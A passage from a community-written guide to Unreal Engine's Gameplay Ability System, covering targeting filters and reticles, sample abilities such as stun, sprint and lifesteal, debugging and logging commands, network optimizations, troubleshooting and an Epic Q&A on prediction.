virtual bool FilterPassesForActor(const AActor* ActorToBeFiltered) const override;
};
```
However, this will not work directly into the `Wait Target Data` node as it requires a `FGameplayTargetDataFilterHandle`. A new custom `Make Filter Handle` must be made to accept the subclass:
```c++
FGameplayTargetDataFilterHandle UGDTargetDataFilterBlueprintLibrary::MakeGDNameFilterHandle(FGDNameTargetDataFilter Filter, AActor* FilterActor)
{
FGameplayTargetDataFilter* NewFilter = new FGDNameTargetDataFilter(Filter);
NewFilter->InitializeFilterContext(FilterActor);
FGameplayTargetDataFilterHandle FilterHandle;
FilterHandle.Filter = TSharedPtr<FGameplayTargetDataFilter>(NewFilter);
return FilterHandle;
}
```
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-targeting-reticles"></a>
#### 4.11.4 Gameplay Ability World Reticles
[`AGameplayAbilityWorldReticles`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/Abilities/AGameplayAbilityWorldReticle/index.html) (`Reticles`) visualize **who** you are targeting when targeting with non-`Instant` confirmed [`TargetActors`](#concepts-targeting-actors). `TargetActors` are responsible for the spawn and destroy lifetimes for all `Reticles`. `Reticles` are `AActors` so they can use any kind of visual component for representation. A common implementation as seen in [GASShooter](https://github.com/tranek/GASShooter) is to use a `WidgetComponent` to display a UMG Widget in screen space (always facing the player's camera). `Reticles` do not know which `AActor` that they're on, but you could subclass in that functionality on a custom `TargetActor`. `TargetActors` will typically update the `Reticle`'s location to the target's location on every `Tick()`.
GASShooter uses `Reticles` to show locked-on targets for the rocket launcher's secondary ability's homing rockets. The red indicator on the enemy is the `Reticle`. The similar white image is the rocket launcher's crosshair.

`Reticles` come with a handful of `BlueprintImplementableEvents` for designers (they're intended to be developed in Blueprints):
```c++
/** Called whenever bIsTargetValid changes value. */
UFUNCTION(BlueprintImplementableEvent, Category = Reticle)
void OnValidTargetChanged(bool bNewValue);
/** Called whenever bIsTargetAnActor changes value. */
UFUNCTION(BlueprintImplementableEvent, Category = Reticle)
void OnTargetingAnActor(bool bNewValue);
UFUNCTION(BlueprintImplementableEvent, Category = Reticle)
void OnParametersInitialized();
UFUNCTION(BlueprintImplementableEvent, Category = Reticle)
void SetReticleMaterialParamFloat(FName ParamName, float value);
UFUNCTION(BlueprintImplementableEvent, Category = Reticle)
void SetReticleMaterialParamVector(FName ParamName, FVector value);
```
`Reticles` can optionally use [`FWorldReticleParameters`](https://docs.unrealengine.com/en-US/API/Plugins/GameplayAbilities/Abilities/FWorldReticleParameters/index.html) provided by the `TargetActor` for configuration. The default struct only provides one variable `FVector AOEScale`. While you can technically subclass this struct, the `TargetActor` will only accept the base struct. It seems a little short-sighted to not allow this to be subclassed with default `TargetActors`. However, if you make your own custom `TargetActor`, you can provide your own custom reticle parameters struct and manually pass it to your subclass of `AGameplayAbilityWorldReticles` when you spawn them.
`Reticles` are not replicated by default, but can be made replicated if it makes sense for your game to show other players who the local player is targeting.
`Reticles` will only display on the current valid target with the default `TargetActors`. For example, if you're using a `AGameplayAbilityTargetActor_SingleLineTrace` to trace for a target, the `Reticle` will only appear when the enemy is directly in the trace path. If you look away, the enemy is no longer a valid target and the `Reticle` will disappear. If you want the `Reticle` to stay on the last valid target, you will want to customize your `TargetActor` to remember the last valid target and keep the `Reticle` on them. I refer to these as persistent targets as they will persist until the `TargetActor` receives confirmation or cancellation, the `TargetActor` finds a new valid target in its trace/overlap, or the target is no longer valid (destroyed). GASShooter uses persistent targets for its rocket launcher's secondary ability's homing rockets targeting.
**[⬆ Back to Top](#table-of-contents)**
<a name="concepts-targeting-containers"></a>
#### 4.11.5 Gameplay Effect Containers Targeting
[`GameplayEffectContainers`](#concepts-ge-containers) come with an optional, efficient means of producing [`TargetData`](#concepts-targeting-data). This targeting takes place instantly when the `EffectContainer` is applied on the client and the server. It's more efficient than [`TargetActors`](#concepts-targeting-actors) because it runs on the CDO of the targeting object (no spawning and destroying of `Actors`), but it lacks player input, happens instantly without needing confirmation, cannot be canceled, and cannot send data from the client to the server (produces data on both). It works well for instant traces and collision overlaps. Epic's [Action RPG Sample Project](https://www.unrealengine.com/marketplace/en-US/product/action-rpg) includes two example types of targeting with its containers - target the ability owner and pull `TargetData` from an event. It also implements one in Blueprint to do instant sphere traces at some offset (set by child Blueprint classes) from the player. You can subclass `URPGTargetType` in C++ or Blueprint to make your own targeting types.
**[⬆ Back to Top](#table-of-contents)**
<a name="cae"></a>
## 5. Commonly Implemented Abilities and Effects
<a name="cae-stun"></a>
### 5.1 Stun
Typically with stuns, we want to cancel all of a `Character's` active `GameplayAbilities`, prevent new `GameplayAbility` activations, and prevent movement throughout the duration of the stun. The Sample Project's Meteor `GameplayAbility` applies a stun on hit targets.
To cancel the target's active `GameplayAbilities`, we call `AbilitySystemComponent->CancelAbilities()` when the stun [`GameplayTag` is added](#concepts-gt-change).
To prevent new `GameplayAbilities` from activating while stunned, the `GameplayAbilities` are given the stun `GameplayTag` in their [`Activation Blocked Tags` `GameplayTagContainer`](#concepts-ga-tags).
To prevent movement while stunned, we override the `CharacterMovementComponent's` `GetMaxSpeed()` function to return 0 when the owner has the stun `GameplayTag`.
**[⬆ Back to Top](#table-of-contents)**
<a name="cae-sprint"></a>
### 5.2 Sprint
The Sample Project provides an example of how to sprint - run faster while `Left Shift` is held down.
The faster movement is handled predictively by the `CharacterMovementComponent` by sending a flag over the network to the server. See `GDCharacterMovementComponent.h/cpp` for details.
The `GA` handles responding to the `Left Shift` input, tells the `CMC` to begin and stop sprinting, and to predictively charge stamina while `Left Shift` is pressed. See `GA_Sprint_BP` for details.
**[⬆ Back to Top](#table-of-contents)**
<a name="cae-ads"></a>
### 5.3 Aim Down Sights
The Sample Project handles this the exact same way as sprinting but decreasing the movement speed instead of increasing it.
See `GDCharacterMovementComponent.h/cpp` for details on predictively decreasing the movement speed.
See `GA_AimDownSight_BP` for details on handling the input. There is no stamina cost for aiming down sights.
**[⬆ Back to Top](#table-of-contents)**
<a name="cae-ls"></a>
### 5.4 Lifesteal
I handle lifesteal inside of the damage [`ExecutionCalculation`](#concepts-ge-ec). The `GameplayEffect` will have a `GameplayTag` on it like `Effect.CanLifesteal`. The `ExecutionCalculation` checks if the `GameplayEffectSpec` has that `Effect.CanLifesteal` `GameplayTag`. If the `GameplayTag` exists, the `ExecutionCalculation` [creates a dynamic `Instant` `GameplayEffect`](#concepts-ge-dynamic) with the amount of health to give as the modifier and applies it back to the `Source's` `ASC`.
```c++
if (SpecAssetTags.HasTag(FGameplayTag::RequestGameplayTag(FName("Effect.Damage.CanLifesteal"))))
{
float Lifesteal = Damage * LifestealPercent;
UGameplayEffect* GELifesteal = NewObject<UGameplayEffect>(GetTransientPackage(), FName(TEXT("Lifesteal")));
GELifesteal->DurationPolicy = EGameplayEffectDurationType::Instant;
int32 Idx = GELifesteal->Modifiers.Num();
GELifesteal->Modifiers.SetNum(Idx + 1);
FGameplayModifierInfo& Info = GELifesteal->Modifiers[Idx];
Info.ModifierMagnitude = FScalableFloat(Lifesteal);
Info.ModifierOp = EGameplayModOp::Additive;
Info.Attribute = UPAAttributeSetBase::GetHealthAttribute();
SourceAbilitySystemComponent->ApplyGameplayEffectToSelf(GELifesteal, 1.0f, SourceAbilitySystemComponent->MakeEffectContext());
}
```
**[⬆ Back to Top](#table-of-contents)**
<a name="cae-random"></a>
### 5.5 Generating a Random Number on Client and Server
Sometimes you need to generate a "random" number inside of a `GameplayAbility` for things like bullet recoil or spread. The client and the server will both want to generate the same random numbers. To do this, we must set the `random seed` to be the same at the time of `GameplayAbility` activation. You will want to set the `random seed` each time you activate the `GameplayAbility` in case the client mispredicts activation and its random number sequence becomes out of synch with the server's.
| Seed Setting Method | Description |
| ---------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Use the activation prediction key | The `GameplayAbility` activation prediction key is an int16 guaranteed to be synchronized and available in both the client and server in the `Activation()`. You can set this as the `random seed` on both the client and the server. The downside to this method is that the prediction key always starts at zero each time the game starts and consistently increments the value to use between generating keys. This means each match will have the exact same random number sequence. This may or may not be random enough for your needs. |
| Send a seed through an event payload when you activate the `GameplayAbility` | Activate your `GameplayAbility` by event and send the randomly generated seed from the client to the server via the replicated event payload. This allows for more randomness but the client could easily hack their game to only send the same seed value every time. Also activating `GameplayAbilities` by event will prevent them from activating from the input bind. |
If your random deviation is small, most players won't notice that the sequence is the same every game and using the activation prediction key as the `random seed` should work for you. If you're doing something more complex that needs to be hacker proof, perhaps using a `Server Initiated` `GameplayAbility` would work better where the server can create the prediction key or generate the `random seed` to send via an event payload.
**[⬆ Back to Top](#table-of-contents)**
<a name="cae-crit"></a>
### 5.6 Critical Hits
I handle critical hits inside of the damage [`ExecutionCalculation`](#concepts-ge-ec). The `GameplayEffect` will have a `GameplayTag` on it like `Effect.CanCrit`. The `ExecutionCalculation` checks if the `GameplayEffectSpec` has that `Effect.CanCrit` `GameplayTag`. If the `GameplayTag` exists, the `ExecutionCalculation` generates a random number corresponding to the critical hit chance (`Attribute` captured from the `Source`) and adds the critical hit damage (also an `Attribute` captured from the `Source`) if it succeeded. Since I don't predict damage, I don't have to worry about synchronizing the random number generators on the client and server since the `ExecutionCalculation` will only run on the server. If you tried to do this predictively using an `MMC` to do your damage calculation, you would have to get a reference to the `random seed` from the `GameplayEffectSpec->GameplayEffectContext->GameplayAbilityInstance`.
See how [GASShooter](https://github.com/tranek/GASShooter) does headshots. It's the same concept except that it does not rely on a random number for chance and instead checks the `FHitResult` bone name.
**[⬆ Back to Top](#table-of-contents)**
<a name="cae-nonstackingge"></a>
### 5.7 Non-Stacking Gameplay Effects but Only the Greatest Magnitude Actually Affects the Target
Slow effects in Paragon did not stack. Each slow instance applied and kept track of their lifetimes as normal, but only the greatest magnitude slow effect actually affected the `Character`. GAS provides for this scenario out of the box with `AggregatorEvaluateMetaData`. See [`AggregatorEvaluateMetaData()`](#concepts-as-onattributeaggregatorcreated) for details and implementation.
**[⬆ Back to Top](#table-of-contents)**
<a name="cae-paused"></a>
### 5.8 Generate Target Data While Game is Paused
If you need to pause the game while waiting to generate [`TargetData`](#concepts-targeting-data) from a `WaitTargetData` `AbilityTask` from your player, I suggest instead of pausing to use `slomo 0`.
**[⬆ Back to Top](#table-of-contents)**
<a name="cae-onebuttoninteractionsystem"></a>
### 5.9 One Button Interaction System
[GASShooter](https://github.com/tranek/GASShooter) implements a one button interaction system where the player can press or hold 'E' to interact with interactable objects like reviving a player, opening a weapon chest, and opening or closing a sliding door.
**[⬆ Back to Top](#table-of-contents)**
<a name="debugging"></a>
## 6. Debugging GAS
Often when debugging GAS related issues, you want to know things like:
> * "What are the values of my attributes?"
> * "What gameplay tags do I have?"
> * "What gameplay effects do I currently have?"
> * "What abilities do I have granted, which ones are running, and which ones are blocked from activating?".
GAS comes with two techniques for answering these questions at runtime - [`showdebug abilitysystem`](#debugging-sd) and hooks in the [`GameplayDebugger`](#debugging-gd).
**Tip:** Unreal Engine likes to optimize C++ code which makes it hard to debug some functions. You will encounter this rarely when tracing deep into your code. If setting your Visual Studio solution configuration to `DebugGame Editor` still prevents tracing code or inspecting variables, you can disable all optimizations by wrapping the optimized function with the `UE_DISABLE_OPTIMIZATION` and `UE_ENABLE_OPTIMIZATION` macros or the ship variations defined in CoreMiscDefines.h. This cannot be used on the plugin code unless you rebuild the plugin from source. This may or may not work on inline functions depending on what they do and where they are. Be sure to remove the macros when you're done debugging!
```c++
UE_DISABLE_OPTIMIZATION
void MyClass::MyFunction(int32 MyIntParameter)
{
// My code
}
UE_ENABLE_OPTIMIZATION
```
**[⬆ Back to Top](#table-of-contents)**
<a name="debugging-sd"></a>
### 6.1 showdebug abilitysystem
Type `showdebug abilitysystem` in the in-game console. This feature is split into three "pages". All three pages will show the `GameplayTags` that you currently have. Type `AbilitySystem.Debug.NextCategory` into the console to cycle between the pages.
The first page shows the `CurrentValue` of all of your `Attributes`:

The second page shows all of the `Duration` and `Infinite` `GameplayEffects` on you, their number of stacks, what `GameplayTags` they give, and what `Modifiers` they give.

The third page shows all of the `GameplayAbilities` that have been granted to you, whether they are currently running, whether they are blocked from activating, and the status of currently running `AbilityTasks`.

To cycle between targets (denoted by a green rectangular prism around the Actor), use the `PageUp` key or `NextDebugTarget` console command to go to the next target and the `PageDown` key or `PreviousDebugTarget` console command to go to the previous target.
**Note:** In order for the ability system information to update based on the currently selected debug Actor, you need to set `bUseDebugTargetFromHud=true` in the `AbilitySystemGlobals` like so in the `DefaultGame.ini`:
```
[/Script/GameplayAbilities.AbilitySystemGlobals]
bUseDebugTargetFromHud=true
```
**Note:** For `showdebug abilitysystem` to work an actual HUD class must be selected in the GameMode. Otherwise the command is not found and "Unknown Command" is returned.
**[⬆ Back to Top](#table-of-contents)**
<a name="debugging-gd"></a>
### 6.2 Gameplay Debugger
GAS adds functionality to the Gameplay Debugger. Access the Gameplay Debugger with the Apostrophe (') key. Enable the Abilities category by pressing 3 on your numpad. The category may be different depending on what plugins you have. If your keyboard doesn't have a numpad like a laptop, then you can change the keybindings in the project settings.
Use the Gameplay Debugger when you want to see the `GameplayTags`, `GameplayEffects`, and `GameplayAbilities` on **other** `Characters`. Unfortunately it does not show the `CurrentValue` of the target's `Attributes`. It will target whatever `Character` is in the center of your screen. You can change targets by selecting them in the World Outliner in the Editor or by looking at a different `Character` and press Apostrophe (') again. The currently inspected `Character` has the largest red circle above it.

**[⬆ Back to Top](#table-of-contents)**
<a name="debugging-log"></a>
### 6.3 GAS Logging
The GAS source code contains a lot of logging statements produced at varying verbosity levels. You will most likely see these as `ABILITY_LOG()` statements. The default verbosity level is `Display`. Anything higher will not be displayed in the console by default.
To change the verbosity level of a log category, type into your console:
```
log [category] [verbosity]
```
For example, to turn on `ABILITY_LOG()` statements, you would type into your console:
```
log LogAbilitySystem VeryVerbose
```
To reset it back to default, type:
```
log LogAbilitySystem Display
```
To display all log categories, type:
```
log list
```
Notable GAS related logging categories:
| Logging Category | Default Verbosity Level |
| ------------------------- | ----------------------- |
| LogAbilitySystem | Display |
| LogAbilitySystemComponent | Log |
| LogGameplayCueDetails | Log |
| LogGameplayCueTranslator | Display |
| LogGameplayEffectDetails | Log |
| LogGameplayEffects | Display |
| LogGameplayTags | Log |
| LogGameplayTasks | Log |
| VLogAbilitySystem | Display |
See the [Wiki on Logging](https://unrealcommunity.wiki/logging-lgpidy6i) for more information.
**[⬆ Back to Top](#table-of-contents)**
<a name="optimizations"></a>
## 7. Optimizations
<a name="optimizations-abilitybatching"></a>
### 7.1 Ability Batching
[`GameplayAbilities`](#concepts-ga) that activate, optionally send `TargetData` to the server, and end all in one frame can be [batched to condense two-three RPCs into one RPC](#concepts-ga-batching). These types of abilities are commonly used for hitscan guns.
<a name="optimizations-gameplaycuebatching"></a>
### 7.2 Gameplay Cue Batching
If you're sending many [`GameplayCues`](#concepts-gc) at the same time, consider [batching them into one RPC](#concepts-gc-batching). The goal is to reduce the number of RPCs (`GameplayCues` are unreliable NetMulticasts) and send as little data as possible.
<a name="optimizations-ascreplicationmode"></a>
### 7.3 AbilitySystemComponent Replication Mode
By default, the [`ASC`](#concepts-asc) is in [`Full Replication Mode`](#concepts-asc-rm). This will replicate all [`GameplayEffects`](#concepts-ge) to every client (which is fine for a single player game). In a multiplayer game, set the player owned `ASCs` to `Mixed Replication Mode` and AI controlled characters to `Minimal Replication Mode`. This will replicate `GEs` applied on a player character to only replicate to the owner of that character and `GEs` applied on AI controlled characters will never replicate `GEs` to clients. [`GameplayTags`](#concepts-gt) will still replicate and [`GameplayCues`](#concepts-gc) will still be unreliable NetMulticast to all clients, regardless of the `Replication Mode`. This will cut down on network data from `GEs` being replicated when all clients don't need to see them.
<a name="optimizations-attributeproxyreplication"></a>
### 7.4 Attribute Proxy Replication
In large games with many players like Fortnite Battle Royale (FNBR), there will be a lot of [`ASCs`](#concepts-asc) living on always-relevant `PlayerStates` replicating a lot of [`Attributes`](#concepts-a). To optimize this bottleneck, Fortnite disables the `ASC` and its [`AttributeSets`](#concepts-as) from replicating altogether on **simulated player-controlled proxies** in the `PlayerState::ReplicateSubobjects()`. Autonomous proxies and AI controlled `Pawns` still fully replicate according to their [`Replication Mode`](#concepts-asc-rm). Instead of replicating `Attributes` on the `ASC` on the always-relevant `PlayerStates`, FNBR uses a replicated proxy structure on the player's `Pawn`. When `Attributes` change on the server's `ASC`, they are changed on the proxy struct too. The client receives the replicated `Attributes` from the proxy struct and pushes the changes back into its local `ASC`. This allows `Attribute` replication to use the `Pawn`'s relevancy and `NetUpdateFrequency`. This proxy struct also replicates a small white-listed set of `GameplayTags` in a bitmask. This optimization reduces the amount of data over the network and allows us to take advantage of pawn relevancy. AI controlled `Pawns` have their `ASC` on the `Pawn` which already uses its relevancy so this optimization is not needed for them.
> I’m not sure if it is still necessary with other server side optimizations that have been done since then (Replication Graph, etc) and it is not the most maintainable pattern.
*<NAME> from Epic's answer to [community questions #3](https://epicgames.ent.box.com/s/m1egifkxv3he3u3xezb9hzbgroxyhx89)*
<a name="optimizations-asclazyloading"></a>
### 7.5 ASC Lazy Loading
Fortnite Battle Royale (FNBR) has a lot of damageable `AActors` (trees, buildings, etc) in the world, each with an [`ASC`](#concepts-asc). This can add up in memory cost. FNBR optimizes this by lazily loading `ASCs` only when they're needed (when they first take damage by a player). This reduces overall memory usage since some `AActors` may never be damaged in a match.
**[⬆ Back to Top](#table-of-contents)**
<a name="qol"></a>
## 8. Quality of Life Suggestions
<a name="qol-gameplayeffectcontainers"></a>
### 8.1 Gameplay Effect Containers
[GameplayEffectContainers](#concepts-ge-containers) combine [`GameplayEffectSpecs`](#concepts-ge-spec), [`TargetData`](#concepts-targeting-data), [simple targeting](#concepts-targeting-containers), and related functionality into easy to use structures. These are great for transfering `GameplayEffectSpecs` to projectiles spawned from an ability that will then apply them on collision at a later time.
<a name="qol-asynctasksascdelegates"></a>
### 8.2 Blueprint AsyncTasks to Bind to ASC Delegates
To increase designer-friendly iteration times, especially when designing UMG Widgets for UI, create Blueprint AsyncTasks (in C++) to bind to the common change delegates on the `ASC` directly from your UMG Blueprint graphs. The only caveat is that they must be manually destroyed (like when the widget is destroyed) otherwise they will live in memory forever. The Sample Project includes three Blueprint AsyncTasks.
Listen for `Attribute` changes:

Listen for cooldown changes:

Listen for `GE` stack changes:

**[⬆ Back to Top](#table-of-contents)**
<a name="troubleshooting"></a>
## 9. Troubleshooting
<a name="troubleshooting-notlocal"></a>
### 9.1 `LogAbilitySystem: Warning: Can't activate LocalOnly or LocalPredicted ability %s when not local!`
You need to [initialize the `ASC` on the client](#concepts-asc-setup).
**[⬆ Back to Top](#table-of-contents)**
<a name="troubleshooting-scriptstructcache"></a>
### 9.2 `ScriptStructCache` errors
You need to call [`UAbilitySystemGlobals::InitGlobalData()`](#concepts-asg-initglobaldata).
**[⬆ Back to Top](#table-of-contents)**
<a name="troubleshooting-replicatinganimmontages"></a>
### 9.3 Animation Montages are not replicating to clients
Make sure that you're using the `PlayMontageAndWait` Blueprint node instead of `PlayMontage` in your [GameplayAbilities](#concepts-ga). This [AbilityTask](#concepts-at) replicates the montage through the `ASC` automatically whereas the `PlayMontage` node does not.
**[⬆ Back to Top](#table-of-contents)**
<a name="troubleshooting-duplicatingblueprintactors"></a>
### 9.4 Duplicating Blueprint Actors is setting AttributeSets to nullptr
There is a [bug in Unreal Engine](https://issues.unrealengine.com/issue/UE-81109) that will set `AttributeSet` pointers on your classes to nullptr for Blueprint Actor classes that are duplicated from existing Blueprint Actor classes. There are a few workarounds for this. I've had success not creating bespoke `AttributeSet` pointers on my classes (no pointer in the .h, not calling `CreateDefaultSubobject` in the constructor) and instead just directly adding `AttributeSets` to the `ASC` in `PostInitializeComponents()` (not shown in the Sample Project). The replicated `AttributeSets` will still live in the `ASC's` `SpawnedAttributes` array. It would look something like this:
```c++
void AGDPlayerState::PostInitializeComponents()
{
Super::PostInitializeComponents();
if (AbilitySystemComponent)
{
AbilitySystemComponent->AddSet<UGDAttributeSetBase>();
// ... any other AttributeSets that you may have
}
}
```
In this scenario, you would read and set the values in the `AttributeSet` using the functions on the `ASC` instead of [calling functions on the `AttributeSet` made from the macros](#concepts-as-attributes).
```c++
/** Returns current (final) value of an attribute */
float GetNumericAttribute(const FGameplayAttribute &Attribute) const;
/** Sets the base value of an attribute. Existing active modifiers are NOT cleared and will act upon the new base value. */
void SetNumericAttributeBase(const FGameplayAttribute &Attribute, float NewBaseValue);
```
So the `GetHealth()` would look something like:
```c++
float AGDPlayerState::GetHealth() const
{
if (AbilitySystemComponent)
{
return AbilitySystemComponent->GetNumericAttribute(UGDAttributeSetBase::GetHealthAttribute());
}
return 0.0f;
}
```
Setting (initializing) the health `Attribute` would look something like:
```c++
const float NewHealth = 100.0f;
if (AbilitySystemComponent)
{
AbilitySystemComponent->SetNumericAttributeBase(UGDAttributeSetBase::GetHealthAttribute(), NewHealth);
}
```
As a reminder, the `ASC` only ever expects at most one `AttributeSet` object per `AttributeSet` class.
**[⬆ Back to Top](#table-of-contents)**
<a name="troubleshooting-unresolvedexternalsymbolmarkpropertydirty"></a>
### 9.5 unresolved external symbol UEPushModelPrivate::MarkPropertyDirty(int,int)
If you get a compiler error like:
```
error LNK2019: unresolved external symbol "__declspec(dllimport) void __cdecl UEPushModelPrivate::MarkPropertyDirty(int,int)" (__imp_?MarkPropertyDirty@UEPushModelPrivate@@YAXHH@Z) referenced in function "public: void __cdecl FFastArraySerializer::IncrementArrayReplicationKey(void)" (?IncrementArrayReplicationKey@FFastArraySerializer@@QEAAXXZ)
```
This is from trying to call `MarkItemDirty()` on a `FFastArraySerializer`. I've encountered this from updating an `ActiveGameplayEffect` such as when updating the cooldown duration.
```c++
ActiveGameplayEffects.MarkItemDirty(*AGE);
```
What's happening is that `WITH_PUSH_MODEL` is getting defined in more than one place. `PushModelMacros.h` is defining it as 0 while it's defined as 1 in multiple places. `PushModel.h` is seeing it as 1 but `PushModel.cpp` is seeing it as 0.
The solution is to add `NetCore` to your project's `PublicDependencyModuleNames` in the `Build.cs`.
**[⬆ Back to Top](#table-of-contents)**
<a name="troubleshooting-enumnamesarenowpathnames"></a>
### 9.6 Enum names are now represented by path name
If you get a compiler warning like:
```
warning C4996: 'FGameplayAbilityInputBinds::FGameplayAbilityInputBinds': Enum names are now represented by path names. Please use a version of FGameplayAbilityInputBinds constructor that accepts FTopLevelAssetPath. Please update your code to the new API before upgrading to the next release, otherwise your project will no longer compile.
```
UE 5.1 deprecated using `FString` in the constructor for `BindAbilityActivationToInputComponent()`. Instead, we must pass in an `FTopLevelAssetPath`.
Old, deprecated way:
```c++
AbilitySystemComponent->BindAbilityActivationToInputComponent(InputComponent, FGameplayAbilityInputBinds(FString("ConfirmTarget"),
FString("CancelTarget"), FString("EGDAbilityInputID"), static_cast<int32>(EGDAbilityInputID::Confirm), static_cast<int32>(EGDAbilityInputID::Cancel)));
```
New way:
```c++
FTopLevelAssetPath AbilityEnumAssetPath = FTopLevelAssetPath(FName("/Script/GASDocumentation"), FName("EGDAbilityInputID"));
AbilitySystemComponent->BindAbilityActivationToInputComponent(InputComponent, FGameplayAbilityInputBinds(FString("ConfirmTarget"),
FString("CancelTarget"), AbilityEnumAssetPath, static_cast<int32>(EGDAbilityInputID::Confirm), static_cast<int32>(EGDAbilityInputID::Cancel)));
```
See `Engine\Source\Runtime\CoreUObject\Public\UObject\TopLevelAssetPath.h` for more info.
**[⬆ Back to Top](#table-of-contents)**
<a name="acronyms"></a>
## 10. Common GAS Acronyms
| Name | Acronyms |
|------------------------------------------------------------------------------------------------------- | ------------------- |
| AbilitySystemComponent | ASC |
| AbilityTask | AT |
| [Action RPG Sample Project by Epic](https://www.unrealengine.com/marketplace/en-US/product/action-rpg) | ARPG, ARPG Sample |
| CharacterMovementComponent | CMC |
| GameplayAbility | GA |
| GameplayAbilitySystem | GAS |
| GameplayCue | GC |
| GameplayEffect | GE |
| GameplayEffectExecutionCalculation | ExecCalc, Execution |
| GameplayTag | Tag, GT |
| ModifierMagnitudeCalculation | ModMagCalc, MMC |
**[⬆ Back to Top](#table-of-contents)**
<a name="resources"></a>
## 11. Other Resources
* [Official Documentation](https://docs.unrealengine.com/en-US/Gameplay/GameplayAbilitySystem/index.html)
* Source Code!
* Especially `GameplayPrediction.h`
* [Lyra Sample Project by Epic](https://unrealengine.com/marketplace/en-US/learn/lyra)
* [Action RPG Sample Project by Epic](https://www.unrealengine.com/marketplace/en-US/product/action-rpg)
* [Unreal Slackers Discord](https://unrealslackers.org/) has a text channel dedicated to GAS `#gameplay-ability-system`
* Check pinned messages
* [GitHub repository of resources by Dan 'Pan'](https://github.com/Pantong51/GASContent)
* [YouTube Videos by SabreDartStudios](https://www.youtube.com/channel/UCCFUhQ6xQyjXDZ_d6X_H_-A)
<a name="resources-daveratti"></a>
### 11.1 Q&A With Epic Game's Dave Ratti
<a name="resources-daveratti-community1"></a>
#### 11.1.1 Community Questions 1
[<NAME> responses to the Unreal Slackers Discord Server community questions about GAS](https://epicgames.ent.box.com/s/m1egifkxv3he3u3xezb9hzbgroxyhx89):
1. How can we create scoped prediction windows on demand outside or irrespective of `GameplayAbilities`? For example, how can a fire and forget projectile locally predict a damage `GameplayEffect` when it hits an enemy?
> The PredictionKey system is not really meant to do this. Fundamentally this systems works by a client initiating a predictive action, telling the server about it with a key, and then both client and server running the same thing and associating predictive side effects with the given prediction key. For example, “I am predictively activating an ability” or “I have produced target data and am going to predictively run the part of the ability graph after the WaitTargetData task”.
>
> With this pattern, the PredictionKey “bounces” off the server and comes back to the client via UAbilitySystemComponent::ReplicatedPredictionKeyMap (replicated property). Once the key is replicated back from the server, the client is able to undo all of the locally predictive side effects (GameplayCues, GameplayEffects): the replicated versions *will be there* and if they aren’t then it was a misprediction. Knowing exactly when to undo the predictive side effects is crucial here: if you are too early you will see gaps, if you are too late you will have “double”. (Note this is referring to stateful prediction, like a looping GameplayCue of a duration based Gameplay Effect. “Burst” GameplayCues and instant Gameplay Effects are never “undone” or rolled back. They are just skipped on the client if there is a prediction key associated with them).
>
> To further hit home the point: it’s crucial that predictive action is something the server does not do on their own, but only does so when the client tells them to. So having a generic “Create a key on demand and tell the server so I can run something” does not work unless that “something” is something the server will only do once told to by the client.
>
> Backing up to the original question: something like a fire and forget projectile. Both Paragon and Fornite have projectile actor classes that use GameplayCues. However we do not use the Prediction Key system to do these. Instead we have a concept on Non-Replicated GameplayCues. GameplayCues that just fire off locally and are skipped by the server completely. Essentially all these are direct calls to UGameplayCueManager::HandleGameplayCue. They do not route through the UAbilitySystemComponent so no prediction key checks / early returns are made.
>
> The downside with non replicated GameplayCues is that, well, they are not replicated. So its up to the projectile class/blueprint to make sure the code paths that call these functions are running on everyone. We have for cues startup (called in BeginPlay), explosion, hit wall/character, etc.
>
> These type of events are already generated client side, so calling into a non replicated gameplay cue was no big deal. Complicated blueprints can be tricky, and are up to the author to make sure they understand what is running where.
2. When using a `WaitNetSync` `AbilityTask` with `OnlyServerWait` to create a scoped prediction window in a locally predicted `GameplayAbility`, could players potentially cheat by delaying their packets to the Server to control `GameplayAbility` timing since the Server is waiting for their RPC withtheir prediction key? Was this ever an issue in Paragon or Fortnite, and if so, what did Epic do to remedy it?
> Yes, this is a valid concern. Any ability blueprint running on the server that is waiting for a client “signal” is potentially vulnerable to lag switch type exploits.
>
> Paragon had a custom targeting task similar to UAbilityTask_WaitTargetData. In this task we had timeouts, or a “max delay” that we would wait on the client for instantaneous targeting modes. If the targeting mode was waiting for user confirmation (button press) then it would be ignored since the user is allowed to take his time. But for abilities that instantly confirmed targeting we would only wait a certain amount of time before either A) generating the target data server side or B) canceling the ability.
>
> We never had such mechanisms for WaitNetSync, which we used pretty sparingly.
>
> I don’t believe Fortnite makes use of anything like this though. The weapon abilities in Fortnite are special cased batched to a single fortnite-specific RPC: one RPC to activate the ability, provide target data, and end the ability. So weapon abilities are intrinsically not vulnerable to this in Battle Royale.
>
> My take is that this is something that could probably be solved system wide but I don’t see us making the change ourselves anytime soon. Spot fixing WaitNetSync to include a max delay for the case you mention is probably a reasonable task, but again - unlikely we will do this on our end in the immediate future.
3. Which `EGameplayEffectReplicationMode` did Paragon and Fortnite use and what are Epic’s recommendations for when to use each?
> Both games essentially use Mixed mode for their player controlled characters and Minimal for AI controlled (AI minions, jungle creeps, AI Husks, etc). This is what I would recommend most people using the system in a multiplayer game. The sooner into your project you set these, the better.
>
> Fortnite goes a few steps further with its optimizations. It actually does not replicate the UAbilitySystemComponent at all for simulated proxies. The component and attribute subobjects are skipped inside ::ReplicateSubobjects() on the owning fortnite player state class. We do push the bare minimum replicated data from the ability system component to a structure on the pawn itself (basically, a subset of attribute values and a white list subset of tags that we replicate down in a bitmask). We call this a “proxy”. On the receiving side we take the proxy data, replicated on the pawn, and push it back into ability system component on the player state. So you do have an ASC for each player in FNBR, it just doesn’t directly replicate: instead it replicates data via a minimal proxy struct on the pawn and then routes back to the ASC on receiving side. This is advantage since its A) a more minimal set of data B) takes advantage of pawn relevancy.
>
> I’m not sure if it is still necessary with other server side optimizations that have been done since then (Replication Graph, etc) and it is not the most maintainable pattern.
4. Since we cannot predict the removal of `GameplayEffects` as per `GameplayPrediction.h`, are there any strategies for mitigating the effects of latency on removing `GameplayEffects`? For example, when removing a movement speed slow, we currently have to wait for the Server to replicate the `GameplayEffect` removal resulting in a snap of the player’s character position.
> This is a tough one and I don’t have a good answer. We generally skirted around these problems with tolerances and smoothing. I totally agree that ability system and precise synchronization with the character movement system is not in a good place and something we do want to fix.
>
